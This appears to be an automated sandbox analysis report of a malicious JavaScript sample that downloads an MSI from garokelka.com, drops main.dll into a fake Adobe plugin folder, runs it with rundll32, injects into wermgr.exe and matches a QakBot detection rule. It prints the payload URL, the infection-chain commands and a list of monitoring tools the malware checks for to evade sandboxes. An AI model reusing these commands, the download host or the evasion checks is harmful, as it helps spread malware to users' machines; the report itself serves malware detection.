Source: unknown

Network traffic detected: IP country count 32

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 103.144.201.48

Source: P96VU3JU.htm.5.dr	String found in binary or memory: <a class="fw-c-footer__social-channel --channel-facebook" href="https://www.facebook.com/Cisco/" title="Facebook" data-config-metrics-item="Facebook"> equals www.facebook.com (Facebook)
Source: P96VU3JU.htm.5.dr	String found in binary or memory: <a class="fw-c-footer__social-channel --channel-linkedin" href="https://www.linkedin.com/company/cisco" title="LinkedIn" data-config-metrics-item="LinkedIn"> equals www.linkedin.com (Linkedin)
Source: P96VU3JU.htm.5.dr	String found in binary or memory: <a class="fw-c-footer__social-channel --channel-youtube" href="https://www.youtube.com/user/cisco" title="YouTube" data-config-metrics-item="YouTube"> equals www.youtube.com (Youtube)

Source: P96VU3JU.htm.5.dr	String found in binary or memory: http://cdn.appdynamics.com
Source: P96VU3JU.htm.5.dr	String found in binary or memory: http://pdx-col.eum-appdynamics.com
Source: P96VU3JU.htm.5.dr	String found in binary or memory: http://schema.org/ImageObject
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://blogs.cisco.com/networking/it-leaders-contend-with-secure-multicloud-access-the-2023-global-
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://blogs.cisco.com/security/now-is-the-time-to-step-up-your-security?utm_medium=web-referral&ut
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://cdn.appdynamics.com
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://ciscocx.qualtrics.com/jfe/form/SV_0Tcp9VU8pUm4lBY?Ref=/c/en/us/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://community.cisco.com/
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://duo.com/solutions/risk-based-authentication?utm_medium=web-referral&utm_source=cisco#eyJoYXN
Source: 6781be.rbs.1.dr, MSI81ED.tmp.1.dr	String found in binary or memory: https://garokelka.com/
Source: 6781be.rbs.1.dr	String found in binary or memory: https://garokelka.com/$
Source: wscript.exe, 00000000.00000002.377798248.000001DCD5B50000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377308183.000001DCD5B4A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377028906.000001DCD5B8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377167880.000001DCD5B4A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.377814075.000001DCD5B67000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377497502.000001DCD5B8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377614513.000001DCD5B4E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377394536.000001DCD5B67000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377028906.000001DCD5B67000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377268912.000001DCD5B67000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.377829397.000001DCD5B8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garokelka.com/rlvoq0.msi
Source: ~DFD56E4E9B73156A44.TMP.1.dr, inprogressinstallinfo.ipi.1.dr, ~DFC8411CD743E6CADD.TMP.1.dr, ~DFAAF580DC072508D1.TMP.1.dr, ~DFEA98AB2A043532AC.TMP.1.dr, ~DFCFA0FDA4AEF3B850.TMP.1.dr	String found in binary or memory: https://garokelka.com/rlvoq0.msi0C:
Source: ~DF0DDEAC6C9405E7E5.TMP.1.dr	String found in binary or memory: https://garokelka.com/rlvoq0.msi457110176310365940
Source: wscript.exe, 00000000.00000002.377798248.000001DCD5B50000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377308183.000001DCD5B4A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377167880.000001DCD5B4A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377614513.000001DCD5B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://garokelka.com/rlvoq0.msif:randomM
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://learninglocator.cloudapps.cisco.com/#/home
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://newsroom.cisco.com/c/r/newsroom/en/us/a/y2023/m05/cisco-launches-program-for-customers-and-p
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://newsroom.cisco.com/c/r/newsroom/en/us/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://pdx-col.eum-appdynamics.com
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://search.cisco.com/search?query=
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://software.cisco.com/download/navigator.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://twitter.com/Cisco/
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/ar_ae/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/ar_eg/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/cs_cz/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/da_dk/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/dam/en_us/about/supply-chain/cisco-modern-slavery-statement.pdf
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/de_at/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/de_ch/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/about.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/about/accessibility.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/about/careers.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/about/contact-cisco.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/about/help.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/about/legal/privacy-full.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/about/legal/terms-conditions.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/about/legal/trademarks.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/about/sitemap.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/buy.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/partners/connect-with-a-partner.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/solutions/design-zone.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/solutions/service-provider/routed-optical-networking/index.html?ccid=c
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/training-events/events.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en/us/training-events/training-certifications.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en_ae/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en_be/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en_dz/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en_eg/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en_hk/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en_id/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en_il/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en_my/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en_ph/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en_sg/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/en_za/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/es_ar/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/es_bz/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/es_cl/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/es_co/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/es_cr/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/es_ec/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/es_es/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/es_mx/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/es_pa/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/es_pe/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/fr_be/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/fr_ch/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/fr_dz/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/hu_hu/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/it_it/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/ko_kr/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/m/en_us/solutions/hybrid-work/workplace-solutions/penn1-lookbook.html?ccid=c
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/nl_be/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/nl_nl/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/no_no/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/pl_pl/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/pt_br/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/pt_pt/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/ro_ro/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/ru_ru/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/ru_ua/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/sv_se/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/th_th/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/tr_tr/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/uk_ua/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/vi_vn/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/zh_hk/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/c/zh_tw/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/site/au/en/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/site/ca/en/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/site/ca/fr/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/site/cn/zh/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/site/de/de/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/site/fr/fr/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/site/in/en/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/site/jp/ja/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/site/uk/en/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/site/us/en/index.html
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.cisco.com/web/fw/i/logo-open-graph.gif
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.ciscolive.com/global.html?CID=cdchp&TEAM=global_events&MEDIUM=digital_direct&CAMPAIGN=bt
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.instagram.com/cisco/
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.linkedin.com/company/cisco
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.schema.org
Source: P96VU3JU.htm.5.dr	String found in binary or memory: https://www.youtube.com/user/cisco

Source: unknown

DNS traffic detected: queries for: garokelka.com

Source: global traffic	HTTP traffic detected: GET /rlvoq0.msi HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows InstallerHost: garokelka.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, /User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: cisco.comCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 217.195.153.225:443 -> 192.168.2.3:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 72.163.4.185:443 -> 192.168.2.3:49703 version: TLS 1.2

Source: 4.2.rundll32.exe.570000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_QakBot_ConfigExtraction_Feb23 cape_options = bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config, date = 2023-02-17, author = kevoreilly, description = QakBot Config Extraction, reference = https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar, license = https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE, packed = f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68
Source: 4.2.rundll32.exe.490910.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_QakBot_ConfigExtraction_Feb23 cape_options = bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config, date = 2023-02-17, author = kevoreilly, description = QakBot Config Extraction, reference = https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar, license = https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE, packed = f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68
Source: 4.2.rundll32.exe.490910.0.unpack, type: UNPACKEDPE	Matched rule: MAL_QakBot_ConfigExtraction_Feb23 cape_options = bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config, date = 2023-02-17, author = kevoreilly, description = QakBot Config Extraction, reference = https://github.com/kevoreilly/CAPEv2/blob/master/analyzer/windows/data/yara/QakBot.yar, license = https://github.com/kevoreilly/CAPEv2/blob/master/LICENSE, packed = f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\6781bf.msi

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\MSI980.tmp

Jump to behavior

Source: ProjectFunding_450726_Jun01.js

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ProjectFunding_450726_Jun01.js"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\wscript.exe wscript.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\wscript.exe wscript.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DF0DDEAC6C9405E7E5.TMP

Jump to behavior

Source: classification engine

Classification label: mal80.troj.evad.winJS@10/19@3/100

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next

Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{0B9A111B-3DAA-44E4-979C-E81B594B3141}
Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\{01003F32-6F92-4FBC-A23F-AA62F8309346}
Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\{0B9A111B-3DAA-44E4-979C-E81B594B3141}

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\wscript.exe wscript.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\notify.vbs

Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: ExtendScript.pdb source: rundll32.exe, 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmp, main.dll.1.dr
Source:	Binary string: ExtendScript.pdb source: rundll32.exe, 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmp, main.dll.1.dr

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_1005C675 push ecx; ret

4_2_1005C688

Source: main.dll.1.dr

Static PE information: real checksum: 0xc399f should be: 0xc477b

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\SysWOW64\rundll32.exe

Memory written: PID: 7284 base: 103C50 value: E9 63 D7 15 03

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXE(
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TCPDUMP.EXE0
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXE
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE/
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE(
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-64.EXE
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-64.EXE&
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE(
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TCPDUMP.EXE
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXE
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXE.
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: wermgr.exe, 00000005.00000003.385199064.0000000004FBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE

Source: C:\Windows\System32\msiexec.exe TID: 5628	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7256	Thread sleep count: 193 > 30			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

API coverage: 0.6 %

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_100559A0 GetVersionExA,GetVersionExA,GetVersionExA,GetSystemInfo,

4_2_100559A0

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_1005C09A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_1005C09A

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_100379BC mov eax, dword ptr fs:[00000030h]

4_2_100379BC

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\AppData\Local\AdobeAcrobatPDFBrowserPlugin\main.dll,next

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_1005C09A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

4_2_1005C09A

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe

Jump to behavior

